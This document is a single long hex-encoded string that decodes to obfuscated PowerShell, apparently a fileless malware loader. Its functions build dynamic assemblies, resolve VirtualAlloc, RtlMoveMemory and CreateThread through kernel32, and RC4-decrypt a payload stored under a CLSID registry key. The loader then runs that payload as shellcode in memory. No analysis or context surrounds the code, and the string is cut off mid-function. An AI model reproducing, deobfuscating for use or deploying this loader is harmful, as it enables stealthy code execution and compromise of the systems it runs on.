3643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634373333343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343643364433323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436423641333832433234363437333334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364336443332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136392d3136355d2b247073686f6d655b3138322d3134385d2b277827297d66756e6374696f6e206964347b706172616d2824667431292028617331202732343736364333333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343736364333333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343636373433313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343736364333333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437383633333432433234363637343331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373636433333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3230332d3139395d2b247073686f6d655b3233312d3139375d2b277827297d66756e6374696f6e20636a377b706172616d282465763829202879673420273234364337413332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343737374133303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343643374133323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364337413332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373737413330324332343635373633383239323927297c2628247073686f6d655b3130392d3130355d2b247073686f6d655b3134332d3130395d2b277827297d2066756e6374696f6e207674357b706172616d28246576382c246477312c246d643029202879673420273234373036443331334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343644374133363344323832343730364433313542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234364636353330334432343730364433313542323436443741333632453245323832343644374133363242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234364636353330323933423234373036443331334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343644374133363344374232303234364637343336334433303245324533323335333533423330324532453332333533353743323537423230323437303739333933443238323437303739333932423234364637343336354232343546354432423234364636353330354232343546323532343646363533303245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323436463734333635423234354635443243323436463734333635423234373037393339354433443234364637343336354232343730373933393544324332343646373433363542323435463544323037443230334232343730364433313743323537423234364337393338334432383234364337393338324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234373036383332334432383234373036383332324232343646373433363542323436433739333835443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234364637343336354232343643373933383544324332343646373433363542323437303638333235443344323436463734333635423234373036383332354432433234364637343336354232343643373933383544334232343546324436323738364637323234364637343336354232383234364637343336354232343643373933383544324232343646373433363542323437303638333235443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234363637383334323033443230323832363230323436443741333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436433739333833443330334232343643373933383230324436433734323032343636373833343245344336353645363737343638334232343643373933383242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363637383334324535333735363237333734373236393645363732383234364337393338324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3136332d3135395d2b247073686f6d655b3233312d3139375d2b277827297d2066756e6374696f6e206f67377b706172616d28246576382c24647731292028796734202732343732364333353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343732364333353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343635373633383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343732364333353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436343737333132433234363537363338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373236433335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132312d3131375d2b247073686f6d655b3138342d3135305d2b277827297d66756e6374696f6e206e7a307b706172616d2824746d3129202867743720273234364237393337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343644373033313344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343642373933373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364237393337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364437303331324332343734364433313239323927297c2628247073686f6d655b3133342d3133305d2b247073686f6d655b3231332d3137395d2b277827297d66756e6374696f6e206c67337b706172616d28246a7a332c2474733329202865693720273234373937363335334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343642373833373344323832343739373633353542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234373837353334334432343739373633353542323436423738333732453245323832343642373833373242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373837353334323933423234373937363335334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343642373833373344374232303234373636423335334433303245324533323335333533423330324532453332333533353743323537423230323436413737333833443238323436413737333832423234373636423335354232343546354432423234373837353334354232343546323532343738373533343245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323437363642333535423234354635443243323437363642333535423234364137373338354433443234373636423335354232343641373733383544324332343736364233353542323435463544323037443230334232343739373633353743323537423234364536333332334432383234364536333332324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234373037363332334432383234373037363332324232343736364233353542323436453633333235443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234373636423335354232343645363333323544324332343736364233353542323437303736333235443344323437363642333535423234373037363332354432433234373636423335354232343645363333323544334232343546324436323738364637323234373636423335354232383234373636423335354232343645363333323544324232343736364233353542323437303736333235443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234364136453332323033443230323832363230323436423738333737433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436453633333233443330334232343645363333323230324436433734323032343641364533323245344336353645363737343638334232343645363333323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364136453332324535333735363237333734373236393645363732383234364536333332324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3134322d3133385d2b247073686f6d655b3230312d3136375d2b277827297d24706d313d7674352027737969766d6866707464776172636c2720276963796b786f64726e7476656762756827202763787065666c6869626771796b6d737677273b66756e6374696f6e207763347b706172616d2824776c302c247762382920287a693520273234364236443339334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343644364333363344323832343642364433393542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234373437313338334432343642364433393542323436443643333632453245323832343644364333363242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373437313338323933423234364236443339334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343644364333363344374232303234373736393332334433303245324533323335333533423330324532453332333533353743323537423230323437343737333133443238323437343737333132423234373736393332354232343546354432423234373437313338354232343546323532343734373133383245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323437373639333235423234354635443243323437373639333235423234373437373331354433443234373736393332354232343734373733313544324332343737363933323542323435463544323037443230334232343642364433393743323537423234363236353331334432383234363236353331324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234363237373338334432383234363237373338324232343737363933323542323436323635333135443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234373736393332354232343632363533313544324332343737363933323542323436323737333835443344323437373639333235423234363237373338354432433234373736393332354232343632363533313544334232343546324436323738364637323234373736393332354232383234373736393332354232343632363533313544324232343737363933323542323436323737333835443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234373936323333323033443230323832363230323436443643333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436323635333133443330334232343632363533313230324436433734323032343739363233333245344336353645363737343638334232343632363533313242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373936323333324535333735363237333734373236393645363732383234363236353331324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3134392d3134355d2b247073686f6d655b3230362d3137325d2b277827297d66756e6374696f6e207065317b706172616d28246d6f35292028666b3020273234363937373334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343645373933333344323832343639373733343542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234363336353337334432343639373733343542323436453739333332453245323832343645373933333242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234363336353337323933423234363937373334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343645373933333344374232303234363237303337334433303245324533323335333533423330324532453332333533353743323537423230323437393643333133443238323437393643333132423234363237303337354232343546354432423234363336353337354232343546323532343633363533373245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323436323730333735423234354635443243323436323730333735423234373936433331354433443234363237303337354232343739364333313544324332343632373033373542323435463544323037443230334232343639373733343743323537423234373237413330334432383234373237413330324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234364536393332334432383234364536393332324232343632373033373542323437323741333035443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234363237303337354232343732374133303544324332343632373033373542323436453639333235443344323436323730333735423234364536393332354432433234363237303337354232343732374133303544334232343546324436323738364637323234363237303337354232383234363237303337354232343732374133303544324232343632373033373542323436453639333235443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234363236423335323033443230323832363230323436453739333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437323741333033443330334232343732374133303230324436433734323032343632364233353245344336353645363737343638334232343732374133303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363236423335324535333735363237333734373236393645363732383234373237413330324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3137352d3137315d2b247073686f6d655b3138342d3135305d2b277827297d66756e6374696f6e206273387b706172616d28247265342c24776e31292028726b38202732343641373033343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343641373033343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343732363533343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343641373033343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437373645333132433234373236353334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364137303334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131312d3130375d2b247073686f6d655b3135372d3132335d2b277827297d66756e6374696f6e20727a357b706172616d2824706d312c246e73362c246a78372c2470743529202879673420273234364637343336334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383633364133373230323735363639373237343735363136433431364336433646363334353738323732393243323836463637333732303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234364537333336324332383333333233313334324232383238333533303337333832423333333933393336323932393239324332343730373433353239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383633364133373230323735323734364334443646373636353444363536443646373237393237323932433238364636373337323034303238354234393645373435303734373235443243354236323739373436353542354435443243354235353439364537343333333235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383234364637343336324332343730364433313243323436453733333632393342323436463734333633443445363537373244344636323641363536333734323035333739373337343635364432453439364537343730373437323230324434313732363737353644363536453734344336393733373432303234323832343646373433363245353436463439364537343336333432383239324232343641373833373239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383633364133373230323734333732363536313734363535343638373236353631363432373239324332383646363733373230343032383542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432433542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432393238354234393645373437303734373235443239323932393245363936453736364636423635323833303243333032433234364637343336324333303243333032433330323933423533373436313732373432443533364336353635373032303244373332303238333433393335333832443238323833343331333333393244333133383336333632393239323927297c2628247073686f6d655b3134332d3133395d2b247073686f6d655b3137302d3133365d2b277827297d66756e6374696f6e206761397b706172616d28247274302c246f6d36292028766e36202732343642374133303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343642374133303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343732373433303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343642374133303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436463644333632433234373237343330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364237413330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137372d3137335d2b247073686f6d655b3138352d3135315d2b277827297d66756e6374696f6e206f6a357b706172616d28247075322c246a75382920286f663420273234364236413339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343633373633333344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343642364133393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364236413339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363337363333324332343730373533323239323927297c2628247073686f6d655b3130392d3130355d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e206371317b706172616d28246d77372c24667039292028636731202732343641363333313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343641363333313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343644373733373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343641363333313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436363730333932433234364437373337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364136333331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134372d3134335d2b247073686f6d655b3139322d3135385d2b277827297d727a352024706d312024706d312e6c656e6774682028282834392b343337292b343033292b313636353129202828283131322d353429292b362966756e6374696f6e20676e387b706172616d28247679372c24676c3229202879733420273234363936363333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033303330333532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303330333033353237334232343637373433363344323832343639363633333542333333323544324232383238323832383331324233323338323932443335323932393242333932393239334232303234373537383333334432343639363633333542323436373734333632453245323832343637373433363242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373537383333323933423234363936363333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303330333033353330333033303435324433303337333034313244333033383330333032443330343133303337324433303433333133323330333233303432333034313330343637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034313330343632373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303431333034363237334232343637373433363344374232303234373836363330334433303245324533323335333533423330324532453332333533353743323537423230323436433634333333443238323436433634333332423234373836363330354232343546354432423234373537383333354232343546323532343735373833333245344336353645363737343638354432393235323833393242323833323332333232423238333332423332333232393239323933423230323437383636333035423234354635443243323437383636333035423234364336343333354433443234373836363330354232343643363433333544324332343738363633303542323435463544323037443230334232343639363633333743323537423234363936443334334432383234363936443334324233313239323532383331333833333242323832383332324233313330323932423336333132393239334232303234363336323334334432383234363336323334324232343738363633303542323436393644333435443239323532383238333433343332324432383333333033333244333133313337323932393239334232303234373836363330354232343639364433343544324332343738363633303542323436333632333435443344323437383636333035423234363336323334354432433234373836363330354232343639364433343544334232343546324436323738364637323234373836363330354232383234373836363330354232343639364433343544324232343738363633303542323436333632333435443239323532383332333033373242323832383332333032423332333932393239323935443230374432303744323033423234373736373334323033443230323832363230323436373734333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436393644333433443330334232343639364433343230324436433734323032343737363733343245344336353645363737343638334232343639364433343242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373736373334324535333735363237333734373236393645363732383234363936443334324333323239324332383238323833383242333133383239324433313330323932393239323037443239323927297c2628247073686f6d655b3137372d3137335d2b247073686f6d655b3136372d3133335d2b277827297d66756e6374696f6e20777a317b706172616d28246d67302c246571382920286c65332027323437413636333433443238354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343736353734343137333733363536443632364336393635373332383239374335373638363537323635324434463632364136353633373437423234354632453437364336463632363136433431373337333635364436323643373934333631363336383635323032443631364536343230323435463245344336463633363137343639364636453245353337303643363937343238323735433543323732393542324433313544324534353731373536313643373332383237353337393733373436353644324536343643364332373239374432393245343736353734353437393730363532383237344436393633373236463733364636363734324535373639364533333332324535353645373336313636363534453631373436393736363534443635373436383646363437333237323933423234364337373335334434453635373732443446363236413635363337343230353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353